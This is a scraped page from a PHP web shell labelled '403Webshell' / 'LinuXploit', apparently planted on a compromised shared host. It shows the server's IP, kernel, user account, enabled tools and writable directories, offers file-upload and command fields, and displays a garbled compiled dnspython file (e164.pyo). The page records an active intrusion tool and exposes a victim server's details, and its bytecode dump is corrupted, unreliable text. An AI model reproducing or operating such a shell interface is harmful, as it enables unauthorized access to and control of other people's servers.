403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.216.45.133
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/python2.7/site-packages/dns/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/python2.7/site-packages/dns/e164.pyo
�
���Oc@sgdZddlZddlZddlZejjd�Zed�Zee	d�Z
dd�ZdS(s�DNS E.164 helpers

@var public_enum_domain: The DNS public ENUM domain, e164.arpa.
@type public_enum_domain: dns.name.Name object
i����Ns
e164.arpa.cCsNg|D]}|j�r|^q}|j�tjjdj|�d|�S(suConvert an E.164 number in textual form into a Name object whose
    value is the ENUM domain name for that number.
    @param text: an E.164 number in textual form.
    @type text: str
    @param origin: The domain in which the number should be constructed.
    The default is e164.arpa.
    @type origin: dns.name.Name object or None
    @rtype: dns.name.Name object
    t.torigin(tisdigittreversetdnstnamet	from_texttjoin(ttextRtdtparts((s./usr/lib64/python2.7/site-packages/dns/e164.pyt	from_e164s
%
cCs�|dk	r|j|�}ng|jD]*}|j�r(t|�dkr(|^q(}t|�t|j�kr�tjjd��n|j�dj	|�}|r�d|}n|S(s�Convert an ENUM domain name into an E.164 number.
    @param name: the ENUM domain name.
    @type name: dns.name.Name object.
    @param origin: A domain containing the ENUM domain name.  The
    name is relativized to this domain before being converted to text.
    @type origin: dns.name.Name object or None
    @param want_plus_prefix: if True, add a '+' to the beginning of the
    returned number.
    @rtype: str
    is$non-digit labels in ENUM domain namett+N(
tNonet
relativizetlabelsRtlenRt	exceptiontSyntaxErrorRR(RRtwant_plus_prefixR	tdlabelsR((s./usr/lib64/python2.7/site-packages/dns/e164.pytto_e164*s:

cCs�|dkrtjj�}nx{|D]s}t|ttf�rUtjj|�}ntj	j
||�}y|j|d�SWq%tjjk
r�q%Xq%Wtjj�dS(s�Look for NAPTR RRs for the specified number in the specified domains.

    e.g. lookup('16505551212', ['e164.dnspython.org.', 'e164.arpa.'])
    tNAPTRN(
RRtresolvertget_default_resolvert
isinstancetstrtunicodeRRte164RtquerytNXDOMAIN(tnumbertdomainsRtdomaintqname((s./usr/lib64/python2.7/site-packages/dns/e164.pyR@s
(
t__doc__t
dns.exceptionRtdns.nametdns.resolverRRtpublic_enum_domainRtTrueRRR(((s./usr/lib64/python2.7/site-packages/dns/e164.pyt<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit